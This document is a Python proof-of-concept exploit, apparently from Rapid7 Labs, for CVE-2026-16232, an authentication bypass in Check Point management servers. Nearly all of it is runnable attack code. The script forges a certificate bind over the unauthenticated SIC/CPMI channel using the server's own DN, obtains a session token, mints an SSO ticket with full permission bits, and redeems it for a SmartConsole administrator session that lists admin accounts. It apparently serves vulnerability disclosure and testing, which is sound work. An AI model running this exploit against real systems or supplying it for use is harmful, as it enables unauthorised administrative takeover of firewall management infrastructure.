#!/usr/bin/env python3
"""Demonstrate CVE-2026-16232 by turning an unauthenticated CPMI connection
into a SmartConsole administrator session.

The PoC connects to the legacy SIC/CPMI service, reuses the management server's
own SIC DN in an application certificate bind, and obtains an application DLE
token that can already read `getServerInfo`. It then asks FWM to mint and
redeems a SmartConsole SSO ticket, proving the resulting SmartConsole session
can see `GetAllAdmins` records that the raw application token does not expose.

The root cause is that the vulnerable server trusts the client-supplied `:DN`
field during `:certificate_bind` instead of binding the application identity to
the server-derived authenticated SIC identity.
"""

import argparse
import re
import socket
import ssl
import struct
import urllib.error
import urllib.request
import xml.etree.ElementTree as ET


FWM_PORT = 18190
CPM_PORT = 19009
TIMEOUT = 10
SSO_LOWER_NAME = "system_admin"
# Built-in System Data domain used for SmartConsole administrator sessions.
SYSTEM_DATA_DOMAIN = "a0eebc99-afed-4ef8-bb6d-fedfedfedfed"
BASE_NS = "http://www.checkpoint.com/management/objects/schema/BaseObjects"
LOGIN_NS = "http://www.checkpoint.com/DleWebService/LoginSvcRemote"
DLE_NS = "http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
DLE_WEB_NS = "http://www.checkpoint.com/management/objects/schema/DleWebService"
OBJECTS_NS = "http://www.checkpoint.com/management/objects/schema/Objects"


def huffman_dictionary(codebook):
    """Serialize the atom-to-bit-code tree used by Check Point EncodeFwset."""
    tree = {}
    for code, atom in codebook.items():
        node = tree
        for bit in code:
            node = node.setdefault(bit, {})
        node["atom"] = atom.encode() if isinstance(atom, str) else atom

    def leaf(atom):
        # 0x00..0x03 are reserved by the tree format and are escaped as
        # 0x03 followed by the byte value plus 0x0a.
        return b"".join(b"\x03" + bytes((byte + 0x0A,)) if byte <= 3 else bytes((byte,)) for byte in atom)

    def node_bytes(node):
        if "atom" in node:
            return leaf(node["atom"])
        # 0x02 starts an internal node and 0x01 separates left from right.
        return b"\x02" + node_bytes(node["0"]) + b"\x01" + node_bytes(node["1"])

    # A final 0x01 terminates the root tree.
    return node_bytes(tree) + b"\x01"


def encoded_fwset(codebook, tree_bits):
    """Build the exact binary form consumed by Check Point DecodeFwset()."""
    dictionary = huffman_dictionary(codebook)
    return dictionary + struct.pack("<I", len(tree_bits)) + tree_bits


def sic_frame(payload):
    return struct.pack("!I", len(payload)) + payload


DER_SEQUENCE = 0x30
DER_SET = 0x31
DER_OBJECT_IDENTIFIER = 0x06
DER_UTF8_STRING = 0x0C
DER_PRINTABLE_STRING = 0x13
OID_COMMON_NAME = bytes.fromhex("550403")
OID_ORGANIZATION_NAME = bytes.fromhex("55040a")


def der_tlv(tag, value):
    # The SIC subject values here are short enough for DER's one-byte length.
    return bytes((tag, len(value))) + value


def crl_subject_atom(sic_dn):
    """Encode the SIC certificate subject as SmartConsole's CRL :dn atom."""
    fields = dict(part.split("=", 1) for part in sic_dn.split(","))
    organization = fields["o"].encode()
    common_name = fields["cn"].encode()

    # SmartConsole sends the management certificate subject as a reversed DER
    # X.509 Name, then hex-encodes those reversed bytes into the FwSet atom.
    #
    # Example for the lab server:
    #   sic_dn: cn=cp_mgmt,o=gw-5622ca..5otbwa
    #   DER:    O=gw-5622ca..5otbwa, CN=cp_mgmt
    #   atom:   reverse(DER).hex()
    organization_rdn = der_tlv(
        DER_SET,
        der_tlv(
            DER_SEQUENCE,
            der_tlv(DER_OBJECT_IDENTIFIER, OID_ORGANIZATION_NAME) + der_tlv(DER_PRINTABLE_STRING, organization),
        ),
    )
    common_name_rdn = der_tlv(
        DER_SET,
        der_tlv(
            DER_SEQUENCE,
            der_tlv(DER_OBJECT_IDENTIFIER, OID_COMMON_NAME) + der_tlv(DER_UTF8_STRING, common_name),
        ),
    )
    der_name = der_tlv(DER_SEQUENCE, organization_rdn + common_name_rdn)
    return der_name[::-1].hex(), struct.pack("<I", len(der_name)).hex()


# During SIC bootstrap these three messages use Check Point's binary
# EncodeFwset format, not the readable parenthesized FwSet syntax used later by
# CPMI commands. DecodeFwset reads:
#
#   1. a Huffman dictionary containing the printable atoms below
#   2. a little-endian byte count for the tree bitstream
#   3. a compact bitstream that reconstructs the decoded FwSet object
#
# The dictionary is serialized as a binary tree. Each mapping below is
# "Huffman code -> atom". Short codes are assigned to the internal FwSet
# control atoms because they occur most often; one-off field names and values
# get longer codes. The tree bits are retained only because this PoC does not
# reimplement the full vendor FwSet serializer.

# Ask the management server for the CA certificate used to start SIC TLS.
#
# Decoded FwSet:
#   (client_ca_cert_req)
#
# The codebook below becomes:
#   node(leaf(0x01), node(leaf(0x02), leaf("client_ca_cert_req")))
# which serializes to the old leading bytes:
#   02 03 0b 01 02 03 0c 01 ...
CA_REQUEST = encoded_fwset(
    {
        "0": b"\x01",
        "10": b"\x02",
        "11": "client_ca_cert_req",
    },
    tree_bits=b"\x0e\x00",
)

# Ask for CRL data for the management certificate subject returned in the SIC
# bootstrap hello. The request says the client has no newer CRL than date
# 00000000.
#
# Decoded FwSet:
#   (client_crl_req
#       :crl_req (
#           : (
#               :dn (
#                   :dn_len (<DER byte length as little-endian hex>)
#                   : (<reverse(DER X.509 subject Name) as hex>)
#               )
#               :crl_date (00000000)
#           )
#       )
#   )
def crl_request(sic_dn):
    subject_atom, subject_len = crl_subject_atom(sic_dn)
    payload = encoded_fwset(
        {
            "00": b"\x00",
            "01": b"\x02",
            "10": b"\x01",
            "11000": "dn",
            "11001": "crl_date",
            "11010": "00000000",
            "11011": "dn_len",
            "11100": subject_atom,
            "11101": subject_len,
            "11110": "crl_req",
            "11111": "client_crl_req",
        },
        tree_bits=b"\xfd\x17\xc4\x88\xdd\x95\x8e\xce\x96\x2a\x00",
    )
    return sic_frame(payload)

# Answer the server's reciprocal CRL query with an empty request list and an
# empty CRL answer list.
#
# Decoded FwSet:
#   (client_crl_answer
#       :crl_req ()
#       :crl_answer ()
#   )
CRL_ANSWER_PAYLOAD = encoded_fwset(
    {
        "00": b"\x00",
        "010": "client_crl_answer",
        "0110": "crl_req",
        "0111": "crl_answer",
        "10": b"\x02",
        "11": b"\x01",
    },
    tree_bits=b"\xcb\x26\x9f\x02\x00",
)
CRL_ANSWER = sic_frame(CRL_ANSWER_PAYLOAD)


def readn(sock, size):
    """Read exactly size bytes from a socket."""
    data = b""
    while len(data) < size:
        chunk = sock.recv(size - len(data))
        if not chunk:
            raise EOFError("connection closed")
        data += chunk
    return data


def lp_send(sock, data):
    """Send a Check Point length-prefixed blob."""
    sock.sendall(struct.pack("!I", len(data)) + data)


def lp_recv(sock):
    """Receive a Check Point length-prefixed blob."""
    return readn(sock, struct.unpack("!I", readn(sock, 4))[0])


class Cpmi:
    def __init__(self, host, fwm_port, timeout):
        # Start the legacy FWM/CPMI handshake and ask for the management SIC DN.
        raw = socket.create_connection((host, fwm_port), timeout=timeout)
        raw.settimeout(timeout)
        raw.sendall(b"Y\0\0\0\0\0\0A")
        readn(raw, 4)
        lp_send(raw, b"CN=Gui_Client\0")
        raw.sendall(b"\0\0\0\1\0")
        self.dn = lp_recv(raw).rstrip(b"\0").decode()
        for _ in range(struct.unpack("!I", readn(raw, 4))[0]):
            lp_recv(raw)

        # Bootstrap the SIC TLS session by fetching the CA and exchanging CRL data.
        lp_send(raw, b"asym_sslca\0")
        lp_send(raw, CA_REQUEST)
        lp_recv(raw)

        ctx = ssl._create_unverified_context()
        ctx.minimum_version = ctx.maximum_version = ssl.TLSVersion.TLSv1_2
        self.sock = ctx.wrap_socket(raw, server_hostname=host)
        self.sock.settimeout(timeout)
        self.sock.sendall(crl_request(self.dn))
        lp_recv(self.sock)
        self.sock.sendall(CRL_ANSWER)
        readn(self.sock, 4)
        self.sock.sendall(struct.pack("!III", 12, 0x01010001, 3))
        self._recv()
        self.req = 0

    def _recv(self):
        """Receive one framed CPMI response."""
        header = readn(self.sock, 12)
        return readn(self.sock, struct.unpack("!I", header[:4])[0] - 12)

    def send(self, text):
        """Send one readable FwSet command over the established CPMI channel."""
        self.req += 1
        payload = text.encode() + b"\0"
        body = struct.pack("!IIII", self.req, 0, 2, len(payload)) + payload
        self.sock.sendall(struct.pack("!III", 12 + len(body), 0x01010E02, 3) + body)
        return self._recv()


def client_set(kind, extra=""):
    """Build the initial CPMI client capability set."""
    return f"""(
\t:major (1)
\t:minor (0)
\t:authver (536870912)
\t:major_release_version (5)
\t:minor_release_version (0)
\t:cpmi_client_major_ver (9)
\t:cpmi_client_minor_minor (9)
\t:cpmi_client_sp_ver (7)
\t:cpmi_client_hf_ver (0)
\t:cpmi_client_build_num (98)
\t:type ({kind})
\t:timeout (120)
\t:encryption_on (false)
\t:skip_version_check (false)
\t:is_cplauncher (false)
\t:cpmi_client (true)
\t:host (python)
{extra})
"""


def protected_read(host, cpm_port, token, timeout):
    """Use a DLE session token to read a protected SOAP resource."""
    body = b"""<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><getServerInfo xmlns="http://www.checkpoint.com/DleWebService/PerformanceTestSvcRemote"/></soap:Body>
</soap:Envelope>"""
    request = urllib.request.Request(
        f"https://{host}:{cpm_port}/cpmws/PerformanceTestSvcRemote",
        body,
        {
            "Content-Type": "text/xml; charset=utf-8",
            "SOAPAction": '""',
            "DLESESSIONID": token,
            "CLIENTSESSIONID": "",
        },
        method="POST",
    )
    return urllib.request.urlopen(request, context=ssl._create_unverified_context(), timeout=timeout).read()


def soap_post(host, cpm_port, service, body, timeout, sid="", client_sid=""):
    """POST a SOAP request with optional DLE session headers."""
    request = urllib.request.Request(
        f"https://{host}:{cpm_port}/cpmws/{service}",
        body,
        {
            "Content-Type": "text/xml; charset=utf-8",
            "SOAPAction": '""',
            "DLESESSIONID": sid,
            "CLIENTSESSIONID": client_sid,
        },
        method="POST",
    )
    try:
        return urllib.request.urlopen(request, context=ssl._create_unverified_context(), timeout=timeout).read()
    except urllib.error.HTTPError as error:
        raise RuntimeError(ET.fromstring(error.read()).findtext(".//faultstring") or f"HTTP {error.code}") from error


def query_admins(host, cpm_port, sid, client_sid, timeout):
    """Call GetAllAdmins using the supplied session."""
    body = b"""<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:q="http://www.checkpoint.com/DleWebService/QuerySvcRemote"
 xmlns:w="http://www.checkpoint.com/management/objects/schema/DleWebService">
<soap:Body><q:query><q:queryRequest>
<w:queryId>GetAllAdmins</w:queryId><w:limit>100</w:limit><w:offset>0</w:offset>
<w:queryTotalCountRequest>true</w:queryTotalCountRequest>
</q:queryRequest></q:query></soap:Body></soap:Envelope>"""
    return ET.fromstring(soap_post(host, cpm_port, "QuerySvcRemote", body, timeout, sid, client_sid))


def redeem_ticket(host, cpm_port, ticket, timeout):
    """Redeem the forged SmartConsole SSO ticket into a full DLE session."""
    body = f"""<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="{LOGIN_NS}" xmlns:d="{DLE_NS}"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soap:Body><l:loginNew><d:loginRequest>
<d:applicationName>SmartConsole</d:applicationName>
<d:domain>{SYSTEM_DATA_DOMAIN}</d:domain>
<d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
<d:username>{SSO_LOWER_NAME}</d:username><d:SSOToken>{ticket}</d:SSOToken>
</d:authenticationInfo>
<d:connectionMode>READ_WRITE</d:connectionMode><d:getDomainList>false</d:getDomainList>
<d:keepAliveTimeout>0</d:keepAliveTimeout><d:userAgent>SmartConsole</d:userAgent>
<d:workSessionMode>START_NEW</d:workSessionMode><d:workSessionType>PRIVATE</d:workSessionType>
</d:loginRequest></l:loginNew></soap:Body></soap:Envelope>""".encode()
    root = ET.fromstring(soap_post(host, cpm_port, "LoginSvcRemote", body, timeout))
    sid = root.findtext(f".//{{{DLE_NS}}}sid")
    client_sid = root.findtext(f".//{{{DLE_NS}}}clientSessionId")
    if not sid or not client_sid:
        raise RuntimeError("SmartConsole ticket redemption did not return a DLE session")
    return sid, client_sid


def main():
    parser = argparse.ArgumentParser(
        description="Demonstrate CVE-2026-16232 by forging an application bind and redeeming a SmartConsole admin ticket."
    )
    parser.add_argument("--target", required=True, help="management server hostname or IP")
    parser.add_argument("--fwm-port", type=int, default=FWM_PORT, help=f"SIC/CPMI port (default: {FWM_PORT})")
    parser.add_argument("--cpm-port", type=int, default=CPM_PORT, help=f"CPM SOAP port (default: {CPM_PORT})")
    parser.add_argument("--timeout", type=float, default=TIMEOUT, help=f"network timeout in seconds (default: {TIMEOUT})")
    args = parser.parse_args()

    print("===============================================================================================")
    print("Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232)")
    print("===============================================================================================")
    print(f"[+] Targeting: {args.target}")

    # Establish the unauthenticated legacy channel used by SmartConsole clients.
    cpmi = Cpmi(args.target, args.fwm_port, args.timeout)
    print("[+] SIC/CPMI connected")

    # Present ourselves as an application client rather than an administrator.
    cpmi.send(client_set('"SmartView Reporter Client"', '\t:application_login ("CPM Server")\n\t:client_without_administrator (true)\n'))
    print(f"[+] Forged application DN: {cpmi.dn}")
    # CVE-2026-16232 root cause: the vulnerable server trusts this client-supplied
    # :DN as the application certificate identity instead of the authenticated peer DN.
    reply = cpmi.send(
        f"""(
\t:local_bind (0)
\t:token_bind (0)
\t:DN ("{cpmi.dn}")
\t:certificate_bind (1)
\t:application_login ("CPM Server")
\t:client_without_administrator (true)
)
"""
    )
    if b":status (ok)" not in reply:
        print("[-] Application bind failed. The target is likely patched and not vulnerable.")
        return

    print("[+] Application bind succeeded")

    # Opening the database through the forged application session returns a DLE token.
    reply = cpmi.send(
        """(
\t:type (command)
\t:subject (open-database)
\t:body (
\t\t:Name ()
\t\t:db_open_reason ()
\t\t:dle_session_id ()
\t\t:database ()
\t\t:db_open_id ("(nil)")
\t)
\t:no-reply (false)
)
"""
    )
    tokens = re.findall(rb"(?<![A-Za-z0-9_-])[A-Za-z0-9_-]{43}(?![A-Za-z0-9_-])", reply)
    token = next(t.decode() for t in tokens if not t.endswith(b"_mappings"))
    print(f"[+] Application token obtained: {token}")

    # The application token is already enough to access some protected SOAP APIs.
    root = ET.fromstring(protected_read(args.target, args.cpm_port, token, args.timeout))
    print("[+] getServerInfo")
    for field in ("hostName", "hostIpAddress", "osName", "osVersion"):
        value = root.findtext(f".//{{{BASE_NS}}}{field}")
        print(f"    {field}: {value}")

    # The raw token can invoke GetAllAdmins, but it sees no admin records in the lab.
    app_admins = query_admins(args.target, args.cpm_port, token, "", args.timeout)
    print(f"[+] Application token GetAllAdmins count: {app_admins.findtext(f'.//{{{DLE_WEB_NS}}}queryTotalCount')}")

    # Ask FWM to mint a SmartConsole SSO ticket carrying full permission bits.
    reply = cpmi.send(
        f"""(
\t:type (command)
\t:subject (gen-sso-token)
\t:body (
\t\t:destination_ip ("inx invalid type (0)")
\t\t:source_addr_type (3)
\t\t:dest_addr_type (1)
\t\t:type (SmartConsole)
\t\t:sso_original_client (SmartConsole
\t\t\t:lower_name ({SSO_LOWER_NAME})
\t\t\t:soap_local_bind (1)
\t\t\t:permissions ("ffffffff|ffffffff|ffffffff")
\t\t)
\t)
\t:no-reply (false)
)
"""
    )
    sso = re.search(rb"(?<![0-9a-f])[0-9a-f]{64}(?![0-9a-f])", reply).group().decode()

    # Redeeming that ticket creates the SmartConsole session that triggers the IOC.
    sid, client_sid = redeem_ticket(args.target, args.cpm_port, sso, args.timeout)
    print(f"[+] SmartConsole application-token ticket redeemed: {sso}")

    # The redeemed session can now see admin records that the raw token did not expose.
    admins = query_admins(args.target, args.cpm_port, sid, client_sid, args.timeout)
    print(f"[+] GetAllAdmins count: {admins.findtext(f'.//{{{DLE_WEB_NS}}}queryTotalCount')}")
    for result in admins.findall(f".//{{{DLE_WEB_NS}}}resultList"):
        name = result.findtext(f"{{{BASE_NS}}}name")
        auth = result.findtext(f"{{{OBJECTS_NS}}}authMethod")
        print(f"    {name}: {auth}")


if __name__ == "__main__":
    main()